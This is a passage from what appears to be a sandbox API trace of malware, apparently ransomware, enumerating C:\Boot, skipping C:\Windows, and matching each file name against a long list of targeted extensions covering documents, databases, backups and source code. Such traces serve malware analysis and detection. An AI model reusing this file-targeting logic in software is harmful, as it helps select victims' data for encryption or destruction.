lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0040.297] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.297] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.297] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.297] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.297] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.297] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0040.298] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.298] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.299] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.299] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.299] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.299] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0040.299] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.299] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.299] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.299] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.299] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.300] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.300] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0040.300] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.300] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.301] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.301] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.301] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.301] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.301] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0040.301] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.301] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.302] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.302] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.302] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.302] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.302] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0040.302] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.303] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.303] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.303] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.303] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.303] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.303] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0040.303] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0040.303] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\Fonts") returned 1 [0040.303] lstrlenW (lpString="Fonts") returned 5 [0040.304] lstrcmpiW (lpString1="C:\\Windows", lpString2="Fonts") returned -1 [0040.304] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.304] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0040.304] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.304] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.304] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0040.304] lstrlenW (lpString="chs_boot.ttf") returned 12 [0040.305] lstrlenW (lpString=".1cd") returned 4 [0040.305] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".3ds") returned 4 [0040.305] lstrcmpiW (lpString1=".3ds", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".3fr") returned 4 [0040.305] lstrcmpiW (lpString1=".3fr", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".3g2") returned 4 [0040.305] lstrcmpiW (lpString1=".3g2", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".3gp") returned 4 [0040.305] lstrcmpiW (lpString1=".3gp", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".7z") returned 3 [0040.305] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0040.305] lstrlenW (lpString=".accda") returned 6 [0040.305] lstrcmpiW (lpString1=".accda", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".accdb") returned 6 [0040.305] lstrcmpiW (lpString1=".accdb", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".accdc") returned 6 [0040.305] lstrcmpiW (lpString1=".accdc", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".accde") returned 6 [0040.305] lstrcmpiW (lpString1=".accde", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".accdt") returned 6 [0040.305] lstrcmpiW (lpString1=".accdt", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".accdw") returned 6 [0040.305] lstrcmpiW (lpString1=".accdw", lpString2="ot.ttf") returned -1 [0040.305] lstrlenW (lpString=".adb") returned 4 [0040.305] lstrcmpiW (lpString1=".adb", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".adp") returned 4 [0040.305] lstrcmpiW (lpString1=".adp", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".ai") returned 3 [0040.305] lstrcmpiW (lpString1=".ai", lpString2="ttf") returned -1 [0040.305] lstrlenW (lpString=".ai3") returned 4 [0040.305] lstrcmpiW (lpString1=".ai3", lpString2=".ttf") returned -1 [0040.305] lstrlenW (lpString=".ai4") returned 4 [0040.305] lstrcmpiW (lpString1=".ai4", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".ai5") returned 4 [0040.306] lstrcmpiW (lpString1=".ai5", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".ai6") returned 4 [0040.306] lstrcmpiW (lpString1=".ai6", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".ai7") returned 4 [0040.306] lstrcmpiW (lpString1=".ai7", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".ai8") returned 4 [0040.306] lstrcmpiW (lpString1=".ai8", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".anim") returned 5 [0040.306] lstrcmpiW (lpString1=".anim", lpString2="t.ttf") returned -1 [0040.306] lstrlenW (lpString=".arw") returned 4 [0040.306] lstrcmpiW (lpString1=".arw", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".as") returned 3 [0040.306] lstrcmpiW (lpString1=".as", lpString2="ttf") returned -1 [0040.306] lstrlenW (lpString=".asa") returned 4 [0040.306] lstrcmpiW (lpString1=".asa", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".asc") returned 4 [0040.306] lstrcmpiW (lpString1=".asc", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".ascx") returned 5 [0040.306] lstrcmpiW (lpString1=".ascx", lpString2="t.ttf") returned -1 [0040.306] lstrlenW (lpString=".asm") returned 4 [0040.306] lstrcmpiW (lpString1=".asm", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".asmx") returned 5 [0040.306] lstrcmpiW (lpString1=".asmx", lpString2="t.ttf") returned -1 [0040.306] lstrlenW (lpString=".asp") returned 4 [0040.306] lstrcmpiW (lpString1=".asp", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".aspx") returned 5 [0040.306] lstrcmpiW (lpString1=".aspx", lpString2="t.ttf") returned -1 [0040.306] lstrlenW (lpString=".asr") returned 4 [0040.306] lstrcmpiW (lpString1=".asr", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".asx") returned 4 [0040.306] lstrcmpiW (lpString1=".asx", lpString2=".ttf") returned -1 [0040.306] lstrlenW (lpString=".avi") returned 4 [0040.307] lstrcmpiW (lpString1=".avi", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".avs") returned 4 [0040.307] lstrcmpiW (lpString1=".avs", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".backup") returned 7 [0040.307] lstrcmpiW (lpString1=".backup", lpString2="oot.ttf") returned -1 [0040.307] lstrlenW (lpString=".bak") returned 4 [0040.307] lstrcmpiW (lpString1=".bak", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".bay") returned 4 [0040.307] lstrcmpiW (lpString1=".bay", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".bd") returned 3 [0040.307] lstrcmpiW (lpString1=".bd", lpString2="ttf") returned -1 [0040.307] lstrlenW (lpString=".bin") returned 4 [0040.307] lstrcmpiW (lpString1=".bin", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".bmp") returned 4 [0040.307] lstrcmpiW (lpString1=".bmp", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".bz2") returned 4 [0040.307] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".c") returned 2 [0040.307] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0040.307] lstrlenW (lpString=".cdr") returned 4 [0040.307] lstrcmpiW (lpString1=".cdr", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".cer") returned 4 [0040.307] lstrcmpiW (lpString1=".cer", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".cf") returned 3 [0040.307] lstrcmpiW (lpString1=".cf", lpString2="ttf") returned -1 [0040.307] lstrlenW (lpString=".cfc") returned 4 [0040.307] lstrcmpiW (lpString1=".cfc", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".cfm") returned 4 [0040.307] lstrcmpiW (lpString1=".cfm", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".cfml") returned 5 [0040.307] lstrcmpiW (lpString1=".cfml", lpString2="t.ttf") returned -1 [0040.307] lstrlenW (lpString=".cfu") returned 4 [0040.307] lstrcmpiW (lpString1=".cfu", lpString2=".ttf") returned -1 [0040.307] lstrlenW (lpString=".chm") returned 4 [0040.308] lstrcmpiW (lpString1=".chm", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".cin") returned 4 [0040.308] lstrcmpiW (lpString1=".cin", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".class") returned 6 [0040.308] lstrcmpiW (lpString1=".class", lpString2="ot.ttf") returned -1 [0040.308] lstrlenW (lpString=".clx") returned 4 [0040.308] lstrcmpiW (lpString1=".clx", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".config") returned 7 [0040.308] lstrcmpiW (lpString1=".config", lpString2="oot.ttf") returned -1 [0040.308] lstrlenW (lpString=".cpp") returned 4 [0040.308] lstrcmpiW (lpString1=".cpp", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".cr2") returned 4 [0040.308] lstrcmpiW (lpString1=".cr2", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".crt") returned 4 [0040.308] lstrcmpiW (lpString1=".crt", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".crw") returned 4 [0040.308] lstrcmpiW (lpString1=".crw", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".cs") returned 3 [0040.308] lstrcmpiW (lpString1=".cs", lpString2="ttf") returned -1 [0040.308] lstrlenW (lpString=".css") returned 4 [0040.308] lstrcmpiW (lpString1=".css", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".csv") returned 4 [0040.308] lstrcmpiW (lpString1=".csv", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".cub") returned 4 [0040.308] lstrcmpiW (lpString1=".cub", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".dae") returned 4 [0040.308] lstrcmpiW (lpString1=".dae", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".dat") returned 4 [0040.308] lstrcmpiW (lpString1=".dat", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".db") returned 3 [0040.308] lstrcmpiW (lpString1=".db", lpString2="ttf") returned -1 [0040.308] lstrlenW (lpString=".dbf") returned 4 [0040.308] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0040.308] lstrlenW (lpString=".dbx") returned 4 [0040.309] lstrcmpiW (lpString1=".dbx", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dc3") returned 4 [0040.309] lstrcmpiW (lpString1=".dc3", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dcm") returned 4 [0040.309] lstrcmpiW (lpString1=".dcm", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dcr") returned 4 [0040.309] lstrcmpiW (lpString1=".dcr", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".der") returned 4 [0040.309] lstrcmpiW (lpString1=".der", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dib") returned 4 [0040.309] lstrcmpiW (lpString1=".dib", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dic") returned 4 [0040.309] lstrcmpiW (lpString1=".dic", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dif") returned 4 [0040.309] lstrcmpiW (lpString1=".dif", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".divx") returned 5 [0040.309] lstrcmpiW (lpString1=".divx", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".djvu") returned 5 [0040.309] 